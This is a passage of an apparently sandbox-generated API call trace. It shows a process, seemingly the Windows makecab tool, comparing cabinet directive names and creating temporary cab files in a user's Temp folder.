_strcmpi (_Str1="InfCommentString", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfDateFormat", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfDiskHeader", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfDiskLineFormat", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFileHeader", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFileLineFormat", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFileName", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFooter", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFooter1", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFooter2", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFooter3", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfFooter4", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfHeader", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfHeader1", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfHeader2", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfHeader3", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfHeader4", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfHeader5", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfHeader6", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="InfSectionOrder", _Str2="CabinetName1") returned 6 [0151.972] _strcmpi (_Str1="MaxCabinetSize", _Str2="CabinetName1") returned 10 [0151.972] _strcmpi (_Str1="MaxDiskFileCount", _Str2="CabinetName1") returned 10 [0151.972] _strcmpi (_Str1="MaxDiskSize", _Str2="CabinetName1") returned 10 [0151.972] _strcmpi (_Str1="MaxErrors", _Str2="CabinetName1") returned 10 [0151.972] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="CabinetName1") returned 15 [0151.972] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="CabinetName1") returned 15 [0151.972] _strcmpi (_Str1="ReservePerFolderSize", _Str2="CabinetName1") returned 15 [0151.972] _strcmpi (_Str1="RptFileName", _Str2="CabinetName1") returned 15 [0151.972] _strcmpi (_Str1="SourceDir", _Str2="CabinetName1") returned 16 [0151.972] _strcmpi (_Str1="UniqueFiles", _Str2="CabinetName1") returned 18 [0151.972] _strcmpi (_Str1="DiskDirectory1", _Str2="CabinetName1") returned 1 [0151.972] _strcmpi (_Str1="CabinetName1", _Str2="CabinetName1") returned 0 [0151.972] _strcmpi (_Str1="Cabinet", _Str2="MaxCabinetSize") returned -10 [0151.972] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxCabinetSize") returned -10 [0151.972] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxCabinetSize") returned -10 [0151.972] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxCabinetSize") returned -10 [0151.972] _strcmpi (_Str1="ClusterSize", _Str2="MaxCabinetSize") returned -10 [0151.972] _strcmpi (_Str1="Compress", _Str2="MaxCabinetSize") returned -10 [0151.972] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxCabinetSize") returned -10 [0151.972] _strcmpi (_Str1="CompressionType", _Str2="MaxCabinetSize") returned -10 [0151.973] _strcmpi (_Str1="CompressionLevel", _Str2="MaxCabinetSize") returned -10 [0151.973] _strcmpi (_Str1="CompressionMemory", _Str2="MaxCabinetSize") returned -10 [0151.973] _strcmpi (_Str1="DestinationDir", _Str2="MaxCabinetSize") returned -9 [0151.973] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxCabinetSize") returned -9 [0151.973] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxCabinetSize") returned -9 [0151.973] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxCabinetSize") returned -9 [0151.973] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxCabinetSize") returned -7 [0151.973] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxCabinetSize") returned -7 [0151.973] _strcmpi (_Str1="GenerateInf", _Str2="MaxCabinetSize") returned -6 [0151.973] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfCommentString", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfDateFormat", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFileHeader", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFileName", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFooter", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFooter1", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFooter2", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFooter3", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfFooter4", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfHeader", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfHeader1", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfHeader2", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfHeader3", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfHeader4", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfHeader5", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfHeader6", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="InfSectionOrder", _Str2="MaxCabinetSize") returned -4 [0151.973] _strcmpi (_Str1="MaxCabinetSize", _Str2="MaxCabinetSize") returned 0 [0151.973] atol (_Str="0") returned 0 [0151.973] _strcmpi (_Str1="Cabinet", _Str2="FolderSizeThreshold") returned -3 [0151.973] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="FolderSizeThreshold") returned -3 [0151.973] _strcmpi (_Str1="CabinetNameTemplate", _Str2="FolderSizeThreshold") returned -3 [0151.973] _strcmpi (_Str1="ChecksumWidth", _Str2="FolderSizeThreshold") returned -3 [0151.973] _strcmpi (_Str1="ClusterSize", _Str2="FolderSizeThreshold") returned -3 [0151.973] _strcmpi (_Str1="Compress", _Str2="FolderSizeThreshold") returned -3 [0151.973] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="FolderSizeThreshold") returned -3 [0151.973] _strcmpi (_Str1="CompressionType", _Str2="FolderSizeThreshold") returned -3 [0151.974] _strcmpi (_Str1="CompressionLevel", _Str2="FolderSizeThreshold") returned -3 [0151.974] _strcmpi (_Str1="CompressionMemory", _Str2="FolderSizeThreshold") returned -3 [0151.974] _strcmpi (_Str1="DestinationDir", _Str2="FolderSizeThreshold") returned -2 [0151.974] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="FolderSizeThreshold") returned -2 [0151.974] _strcmpi (_Str1="DiskLabelTemplate", _Str2="FolderSizeThreshold") returned -2 [0151.974] _strcmpi (_Str1="DoNotCopyFiles", _Str2="FolderSizeThreshold") returned -2 [0151.974] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="FolderSizeThreshold") returned -13 [0151.974] _strcmpi (_Str1="FolderSizeThreshold", _Str2="FolderSizeThreshold") returned 0 [0151.974] atol (_Str="0") returned 0 [0151.974] _vsnprintf (in: _DstBuf=0xde2c0, _MaxCount=0x1f, _Format="InfCabinetLineFormat%d", _ArgList=0xddf08 | out: _DstBuf="InfCabinetLineFormat1") returned 21 [0151.974] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="Compress", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetLineFormat1") returned -6 [0151.974] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetLineFormat1") returned -5 [0151.974] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetLineFormat1") returned -5 [0151.974] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetLineFormat1") returned -5 [0151.974] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetLineFormat1") returned -5 [0151.974] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetLineFormat1") returned -3 [0151.974] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetLineFormat1") returned -3 [0151.974] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetLineFormat1") returned -2 [0151.974] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetLineFormat1") returned -4 [0151.974] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCabinetLineFormat1") returned -49 [0151.974] _strcmpi (_Str1="InfCommentString", _Str2="InfCabinetLineFormat1") returned 14 [0151.974] _strcmpi (_Str1="InfDateFormat", _Str2="InfCabinetLineFormat1") returned 1 [0151.974] _strcmpi (_Str1="InfDiskHeader", _Str2="InfCabinetLineFormat1") returned 1 [0151.974] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfCabinetLineFormat1") returned 1 [0151.974] _strcmpi (_Str1="InfFileHeader", _Str2="InfCabinetLineFormat1") returned 3 [0151.974] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfCabinetLineFormat1") returned 3 [0151.974] _strcmpi (_Str1="InfFileName", _Str2="InfCabinetLineFormat1") returned 3 [0151.974] _strcmpi (_Str1="InfFooter", _Str2="InfCabinetLineFormat1") returned 3 [0151.974] _strcmpi (_Str1="InfFooter1", _Str2="InfCabinetLineFormat1") returned 3 [0151.974] _strcmpi (_Str1="InfFooter2", _Str2="InfCabinetLineFormat1") returned 3 [0151.974] _strcmpi (_Str1="InfFooter3", _Str2="InfCabinetLineFormat1") returned 3 [0151.974] _strcmpi (_Str1="InfFooter4", _Str2="InfCabinetLineFormat1") returned 3 [0151.975] _strcmpi (_Str1="InfHeader", _Str2="InfCabinetLineFormat1") returned 5 [0151.975] _strcmpi (_Str1="InfHeader1", _Str2="InfCabinetLineFormat1") returned 5 [0151.975] _strcmpi (_Str1="InfHeader2", _Str2="InfCabinetLineFormat1") returned 5 [0151.975] _strcmpi (_Str1="InfHeader3", _Str2="InfCabinetLineFormat1") returned 5 [0151.975] _strcmpi (_Str1="InfHeader4", _Str2="InfCabinetLineFormat1") returned 5 [0151.975] _strcmpi (_Str1="InfHeader5", _Str2="InfCabinetLineFormat1") returned 5 [0151.975] _strcmpi (_Str1="InfHeader6", _Str2="InfCabinetLineFormat1") returned 5 [0151.975] _strcmpi (_Str1="InfSectionOrder", _Str2="InfCabinetLineFormat1") returned 16 [0151.975] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfCabinetLineFormat1") returned 4 [0151.975] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfCabinetLineFormat1") returned 4 [0151.975] _strcmpi (_Str1="MaxDiskSize", _Str2="InfCabinetLineFormat1") returned 4 [0151.975] _strcmpi (_Str1="MaxErrors", _Str2="InfCabinetLineFormat1") returned 4 [0151.975] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfCabinetLineFormat1") returned 9 [0151.975] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfCabinetLineFormat1") returned 9 [0151.975] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfCabinetLineFormat1") returned 9 [0151.975] _strcmpi (_Str1="RptFileName", _Str2="InfCabinetLineFormat1") returned 9 [0151.975] _strcmpi (_Str1="SourceDir", _Str2="InfCabinetLineFormat1") returned 10 [0151.975] _strcmpi (_Str1="UniqueFiles", _Str2="InfCabinetLineFormat1") returned 12 [0151.975] _strcmpi (_Str1="DiskDirectory1", _Str2="InfCabinetLineFormat1") returned -5 [0151.975] _strcmpi (_Str1="CabinetName1", _Str2="InfCabinetLineFormat1") returned -6 [0151.975] _vsnprintf (in: _DstBuf=0xddd60, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddcb8 | out: _DstBuf="InfCabinetLineFormat1") returned 21 [0151.975] _vsnprintf (in: _DstBuf=0xddbf0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddb48 | out: _DstBuf="Infcab#") returned 7 [0151.975] _vsnprintf (in: _DstBuf=0x2bbe58, _MaxCount=0x1ff, _Format="%d", _ArgList=0xde178 | out: _DstBuf="1") returned 1 [0151.975] _strcmpi (_Str1="Cabinet", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="ChecksumWidth", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="ClusterSize", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="Compress", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="CompressionType", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="CompressionLevel", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="CompressionMemory", _Str2="Infdisk#") returned -6 [0151.975] _strcmpi (_Str1="DestinationDir", _Str2="Infdisk#") returned -5 [0151.975] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infdisk#") returned -5 [0151.976] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infdisk#") returned -5 [0151.976] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infdisk#") returned -5 [0151.976] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infdisk#") returned -3 [0151.976] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infdisk#") returned -3 [0151.976] _strcmpi (_Str1="GenerateInf", _Str2="Infdisk#") returned -2 [0151.976] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infdisk#") returned -1 [0151.976] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infdisk#") returned -1 [0151.976] _strcmpi (_Str1="InfCommentString", _Str2="Infdisk#") returned -1 [0151.976] _strcmpi (_Str1="InfDateFormat", _Str2="Infdisk#") returned -8 [0151.976] _strcmpi (_Str1="InfDiskHeader", _Str2="Infdisk#") returned 69 [0151.976] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infdisk#") returned 73 [0151.976] _strcmpi (_Str1="InfFileHeader", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfFileName", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfFooter", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfFooter1", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfFooter2", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfFooter3", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfFooter4", _Str2="Infdisk#") returned 2 [0151.976] _strcmpi (_Str1="InfHeader", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="InfHeader1", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="InfHeader2", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="InfHeader3", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="InfHeader4", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="InfHeader5", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="InfHeader6", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="InfSectionOrder", _Str2="Infdisk#") returned 15 [0151.976] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="MaxDiskSize", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="MaxErrors", _Str2="Infdisk#") returned 4 [0151.976] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infdisk#") returned 9 [0151.976] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infdisk#") returned 9 [0151.976] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infdisk#") returned 9 [0151.976] _strcmpi (_Str1="RptFileName", _Str2="Infdisk#") returned 9 [0151.976] _strcmpi (_Str1="SourceDir", _Str2="Infdisk#") returned 10 [0151.976] _strcmpi (_Str1="UniqueFiles", _Str2="Infdisk#") returned 12 [0151.976] _strcmpi (_Str1="DiskDirectory1", _Str2="Infdisk#") returned -5 [0151.976] _strcmpi (_Str1="CabinetName1", _Str2="Infdisk#") returned -6 [0151.976] _vsnprintf (in: _DstBuf=0xddbf0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddb48 | out: _DstBuf="Infdisk#") returned 8 [0151.977] _vsnprintf (in: _DstBuf=0x2bbe5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0xde178 | out: _DstBuf="1") returned 1 [0151.977] _strcmpi (_Str1="Cabinet", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="ChecksumWidth", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="ClusterSize", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="Compress", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="CompressionType", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="CompressionLevel", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="CompressionMemory", _Str2="Infcabfile") returned -6 [0151.977] _strcmpi (_Str1="DestinationDir", _Str2="Infcabfile") returned -5 [0151.977] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infcabfile") returned -5 [0151.977] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infcabfile") returned -5 [0151.977] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infcabfile") returned -5 [0151.977] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infcabfile") returned -3 [0151.977] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infcabfile") returned -3 [0151.977] _strcmpi (_Str1="GenerateInf", _Str2="Infcabfile") returned -2 [0151.977] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfCommentString", _Str2="Infcabfile") returned 14 [0151.977] _strcmpi (_Str1="InfDateFormat", _Str2="Infcabfile") returned 1 [0151.977] _strcmpi (_Str1="InfDiskHeader", _Str2="Infcabfile") returned 1 [0151.977] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infcabfile") returned 1 [0151.977] _strcmpi (_Str1="InfFileHeader", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfFileName", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfFooter", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfFooter1", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfFooter2", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfFooter3", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfFooter4", _Str2="Infcabfile") returned 3 [0151.977] _strcmpi (_Str1="InfHeader", _Str2="Infcabfile") returned 5 [0151.977] _strcmpi (_Str1="InfHeader1", _Str2="Infcabfile") returned 5 [0151.977] _strcmpi (_Str1="InfHeader2", _Str2="Infcabfile") returned 5 [0151.977] _strcmpi (_Str1="InfHeader3", _Str2="Infcabfile") returned 5 [0151.977] _strcmpi (_Str1="InfHeader4", _Str2="Infcabfile") returned 5 [0151.977] _strcmpi (_Str1="InfHeader5", _Str2="Infcabfile") returned 5 [0151.977] _strcmpi (_Str1="InfHeader6", _Str2="Infcabfile") returned 5 [0151.978] _strcmpi (_Str1="InfSectionOrder", _Str2="Infcabfile") returned 16 [0151.978] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infcabfile") returned 4 [0151.978] _vsnprintf (in: _DstBuf=0xddbf0, _MaxCount=0x1ff, _Format="%s", _ArgList=0xddb48 | out: _DstBuf="Infcabfile") returned 10 [0151.978] fprintf (in: _File=0x7fefd702b40, _Format="%s\n" | out: _File=0x7fefd702b40) returned 13 [0151.978] GetCurrentProcessId () returned 0x850 [0151.978] _vsnprintf (in: _DstBuf=0xde233, _MaxCount=0xa, _Format="_%u_", _ArgList=0xde228 | out: _DstBuf="_2128_") returned 6 [0151.978] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_5" [0151.978] free (_Block=0x2baf30) [0151.978] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_5" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_5"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4c [0151.978] GetLastError () returned 0x0 [0151.978] _open_osfhandle (_OSFileHandle=0x4c, _Flags=34178) returned 7 [0151.979] GetCurrentProcessId () returned 0x850 [0151.979] _vsnprintf (in: _DstBuf=0xde233, _MaxCount=0xa, _Format="_%u_", _ArgList=0xde228 | out: _DstBuf="_2128_") returned 6 [0151.979] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_6" [0151.979] free (_Block=0x2baf30) [0151.979] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_6" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_6"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x50 [0151.980] GetLastError () returned 0x0 [0151.980] _open_osfhandle (_OSFileHandle=0x50, _Flags=34178) returned 8 [0151.980] malloc (_Size=0x1238) returned 0x2cefb0 [0151.981] GetCurrentProcessId () returned 0x850 [0151.981] _vsnprintf (in: _DstBuf=0xde233, _MaxCount=0xa, _Format="_%u_", _ArgList=0xde228 | out: _DstBuf="_2128_") returned 6 [0151.981] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_7" [0151.981] free (_Block=0x2baf30) [0151.981] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_7" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_7"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x54 [0151.981] GetLastError () returned 0x0 [0151.981] _open_osfhandle (_OSFileHandle=0x54, _Flags=34178) returned 9 [0151.981] GetCurrentProcessId () returned 0x850 [0151.981] _vsnprintf (in: _DstBuf=0xde233, _MaxCount=0xa, _Format="_%u_", _ArgList=0xde228 | out: _DstBuf="_2128_") returned 6 [0151.981] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_8" [0151.982] free (_Block=0x2baf30) [0151.982] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_8" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_8"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x58 [0151.982] GetLastError () returned 0x0 [0151.982] _open_osfhandle (_OSFileHandle=0x58, _Flags=34178) returned 10 [0151.982] GetCurrentProcessId () returned 0x850 [0151.982] _vsnprintf (in: _DstBuf=0xde233, _MaxCount=0xa, _Format="_%u_", _ArgList=0xde228 | out: _DstBuf="_2128_") returned 6 [0151.982] _tempnam (_Directory="", _FilePrefix="cab_2128_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_9" [0151.982] free (_Block=0x2baf30) [0151.982] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\cab_2128_9" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\cab_2128_9"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c [0151.983] GetLastError () returned 0x0 [0151.983] _open_osfhandle (_OSFileHandle=0x5c, _Flags=34178) returned 11 [0151.983] _vsnprintf (in: _DstBuf=0x2b610c, _MaxCount=0x7ff, _Format="MaxDiskSize%d", _ArgList=0xde588 | out: _DstBuf="MaxDiskSize1") returned 12 [0151.983] _strcmpi (_Str1="Cabinet", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="CabinetNameTemplate", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="ChecksumWidth", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="ClusterSize", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="Compress", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="CompressionType", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="CompressionLevel", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="CompressionMemory", _Str2="MaxDiskSize1") returned -10 [0151.983] _strcmpi (_Str1="DestinationDir", _Str2="MaxDiskSize1") returned -9 [0151.983] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="MaxDiskSize1") returned -9 [0151.983] _strcmpi (_Str1="DiskLabelTemplate", _Str2="MaxDiskSize1") returned -9 [0151.983] _strcmpi (_Str1="DoNotCopyFiles", _Str2="MaxDiskSize1") returned -9 [0151.983] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="MaxDiskSize1") returned -7 [0151.983] _strcmpi (_Str1="FolderSizeThreshold", _Str2="MaxDiskSize1") returned -7 [0151.983] _strcmpi (_Str1="GenerateInf", _Str2="MaxDiskSize1") returned -6 [0151.983] _strcmpi (_Str1="InfCabinetHeader", _Str2="MaxDiskSize1") returned -4 [0151.983] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="MaxDiskSize1") returned -4 [0151.983] _strcmpi (_Str1="InfCommentString", _Str2="MaxDiskSize1") returned -4 [0151.983] _strcmpi (_Str1="InfDateFormat", _Str2="MaxDiskSize1") returned -4 [0151.983] _strcmpi (_Str1="InfDiskHeader", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfDiskLineFormat", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFileHeader", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFileLineFormat", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFileName", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFooter", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFooter1", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFooter2", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFooter3", _Str2="MaxDiskSize1") returned -4 [0151.984] _strcmpi (_Str1="InfFooter4", 